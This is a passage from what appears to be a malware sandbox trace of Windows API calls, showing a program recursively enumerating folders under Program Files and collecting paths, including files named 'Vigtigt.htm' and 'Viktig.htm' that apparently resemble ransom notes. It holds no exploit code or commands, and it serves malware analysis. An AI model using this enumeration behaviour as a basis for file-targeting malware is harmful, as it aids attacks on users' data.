returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0031.535] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.535] lstrcmpW (lpString1="Vigtigt.htm", lpString2=".") returned 1 [0031.535] lstrcmpW (lpString1="Vigtigt.htm", lpString2="..") returned 1 [0031.535] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.535] lstrlenW (lpString="Vigtigt.htm") returned 11 [0031.535] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0031.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned 52 [0031.536] lstrcpyW (in: lpString1=0x25e01c8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0031.536] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.536] lstrcmpW (lpString1="Viktig.htm", lpString2=".") returned 1 [0031.536] lstrcmpW (lpString1="Viktig.htm", lpString2="..") returned 1 [0031.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.536] lstrlenW (lpString="Viktig.htm") returned 10 [0031.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0031.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned 51 [0031.536] lstrcpyW (in: lpString1=0x12f798, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0031.536] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.536] lstrcmpW (lpString1="Viktigt.htm", lpString2=".") returned 1 [0031.536] lstrcmpW (lpString1="Viktigt.htm", lpString2="..") returned 1 [0031.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.536] lstrlenW (lpString="Viktigt.htm") returned 11 [0031.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0031.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned 52 [0031.536] lstrcpyW (in: lpString1=0x25e0240, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0031.536] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.536] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.536] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.536] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.536] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.536] lstrcmpW (lpString1="Common Files", lpString2=".") returned 1 [0031.536] lstrcmpW (lpString1="Common Files", lpString2="..") returned 1 [0031.536] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.536] lstrlenW (lpString="Common Files") returned 12 [0031.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Common Files" | out: lpString1="c:\\Program Files (x86)\\Common Files") returned="c:\\Program Files (x86)\\Common Files" [0031.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\") returned="c:\\Program Files (x86)\\Common Files\\" [0031.536] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0031.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\*") returned="c:\\Program Files (x86)\\Common Files\\*" [0031.536] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.536] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.536] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.536] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.536] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.536] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.536] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0031.536] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0031.536] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0031.536] lstrlenW (lpString="Adobe") returned 5 [0031.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe") returned="c:\\Program Files (x86)\\Common Files\\Adobe" [0031.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\" [0031.536] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0031.537] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\*") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\*" [0031.537] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.537] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.537] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.537] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.537] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.537] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.537] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0031.537] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0031.537] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0031.537] lstrlenW (lpString="Acrobat") returned 7 [0031.537] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0031.537] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.537] lstrcmpW (lpString1="ARM", lpString2=".") returned 1 [0031.537] lstrcmpW (lpString1="ARM", lpString2="..") returned 1 [0031.537] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0031.537] lstrlenW (lpString="ARM") returned 3 [0031.537] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0031.537] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.537] lstrcmpW (lpString1="HelpCfg", lpString2=".") returned 1 [0031.537] lstrcmpW (lpString1="HelpCfg", lpString2="..") returned 1 [0031.537] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0031.537] lstrlenW (lpString="HelpCfg") returned 7 [0031.537] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="HelpCfg" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0031.537] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.537] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.537] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.537] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2=".") returned 1 [0031.537] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2="..") returned 1 [0031.537] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0031.537] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0031.537] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0031.537] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned 77 [0031.537] lstrcpyW (in: lpString1=0x12f808, lpString2="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0031.537] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.537] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0031.537] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0031.537] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0031.537] lstrlenW (lpString="Java") returned 4 [0031.537] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java") returned="c:\\Program Files (x86)\\Common Files\\Java" [0031.537] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\") returned="c:\\Program Files (x86)\\Common Files\\Java\\" [0031.537] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0031.537] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\*") returned="c:\\Program Files (x86)\\Common Files\\Java\\*" [0031.537] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.537] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.538] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.538] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.538] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.538] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.538] lstrcmpW (lpString1="Java Update", lpString2=".") returned 1 [0031.538] lstrcmpW (lpString1="Java Update", lpString2="..") returned 1 [0031.538] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0031.538] lstrlenW (lpString="Java Update") returned 11 [0031.538] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="Java Update" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="c:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0031.538] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.538] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.538] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.538] lstrcmpW (lpString1="microsoft shared", lpString2=".") returned 1 [0031.538] lstrcmpW (lpString1="microsoft shared", lpString2="..") returned 1 [0031.538] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0031.538] lstrlenW (lpString="microsoft shared") returned 16 [0031.538] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="microsoft shared" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared" [0031.538] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\" [0031.538] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.538] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*" [0031.538] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.538] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.538] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.538] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.538] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.538] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.538] lstrcmpW (lpString1="DAO", lpString2=".") returned 1 [0031.538] lstrcmpW (lpString1="DAO", lpString2="..") returned 1 [0031.538] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.538] lstrlenW (lpString="DAO") returned 3 [0031.538] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="DAO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" [0031.538] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.538] lstrcmpW (lpString1="ink", lpString2=".") returned 1 [0031.538] lstrcmpW (lpString1="ink", lpString2="..") returned 1 [0031.538] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.538] lstrlenW (lpString="ink") returned 3 [0031.538] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="ink" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" [0031.538] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.538] lstrcmpW (lpString1="MSEnv", lpString2=".") returned 1 [0031.538] lstrcmpW (lpString1="MSEnv", lpString2="..") returned 1 [0031.538] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.538] lstrlenW (lpString="MSEnv") returned 5 [0031.538] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSEnv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" [0031.538] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.539] lstrcmpW (lpString1="MSInfo", lpString2=".") returned 1 [0031.539] lstrcmpW (lpString1="MSInfo", lpString2="..") returned 1 [0031.539] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.539] lstrlenW (lpString="MSInfo") returned 6 [0031.539] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSInfo" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" [0031.539] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.539] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0031.539] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0031.539] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.539] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0031.539] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform" [0031.539] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.539] lstrcmpW (lpString1="Stationery", lpString2=".") returned 1 [0031.539] lstrcmpW (lpString1="Stationery", lpString2="..") returned 1 [0031.539] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.539] lstrlenW (lpString="Stationery") returned 10 [0031.539] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Stationery" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" [0031.539] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.539] lstrcmpW (lpString1="TextConv", lpString2=".") returned 1 [0031.539] lstrcmpW (lpString1="TextConv", lpString2="..") returned 1 [0031.539] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.539] lstrlenW (lpString="TextConv") returned 8 [0031.539] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="TextConv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv" [0031.539] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.539] lstrcmpW (lpString1="Triedit", lpString2=".") returned 1 [0031.539] lstrcmpW (lpString1="Triedit", lpString2="..") returned 1 [0031.539] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.539] lstrlenW (lpString="Triedit") returned 7 [0031.539] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Triedit" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit" [0031.539] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.539] lstrcmpW (lpString1="VC", lpString2=".") returned 1 [0031.539] lstrcmpW (lpString1="VC", lpString2="..") returned 1 [0031.539] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.539] lstrlenW (lpString="VC") returned 2 [0031.539] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VC" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC" [0031.539] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.539] lstrcmpW (lpString1="VGX", lpString2=".") returned 1 [0031.539] lstrcmpW (lpString1="VGX", lpString2="..") returned 1 [0031.539] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.539] lstrlenW (lpString="VGX") returned 3 [0031.539] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VGX" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX" [0031.539] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.539] lstrcmpW (lpString1="VSTA", lpString2=".") returned 1 [0031.539] lstrcmpW (lpString1="VSTA", lpString2="..") returned 1 [0031.539] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.539] lstrlenW (lpString="VSTA") returned 4 [0031.539] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTA" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA" [0031.539] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.539] lstrcmpW (lpString1="VSTO", lpString2=".") returned 1 [0031.539] lstrcmpW (lpString1="VSTO", lpString2="..") returned 1 [0031.539] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0031.539] lstrlenW (lpString="VSTO") returned 4 [0031.539] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO" [0031.539] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.539] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.540] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.540] lstrcmpW (lpString1="Services", lpString2=".") returned 1 [0031.540] lstrcmpW (lpString1="Services", lpString2="..") returned 1 [0031.540] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0031.540] lstrlenW (lpString="Services") returned 8 [0031.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Services" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services") returned="c:\\Program Files (x86)\\Common Files\\Services" [0031.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\") returned="c:\\Program Files (x86)\\Common Files\\Services\\" [0031.540] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0031.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\*") returned="c:\\Program Files (x86)\\Common Files\\Services\\*" [0031.540] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.540] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.540] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.540] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.540] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.540] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.540] lstrcmpW (lpString1="verisign.bmp", lpString2=".") returned 1 [0031.540] lstrcmpW (lpString1="verisign.bmp", lpString2="..") returned 1 [0031.540] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0031.540] lstrlenW (lpString="verisign.bmp") returned 12 [0031.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0031.540] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned 57 [0031.540] lstrcpyW (in: lpString1=0x12f8b0, lpString2="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0031.540] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.540] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.540] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.540] lstrcmpW (lpString1="SpeechEngines", lpString2=".") returned 1 [0031.540] lstrcmpW (lpString1="SpeechEngines", lpString2="..") returned 1 [0031.540] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0031.540] lstrlenW (lpString="SpeechEngines") returned 13 [0031.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="SpeechEngines" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines" [0031.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0031.540] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0031.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*" [0031.540] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.540] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.540] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.540] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.540] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.540] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.540] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0031.540] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0031.540] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0031.540] lstrlenW (lpString="Microsoft") returned 9 [0031.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0031.541] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.541] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.541] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: 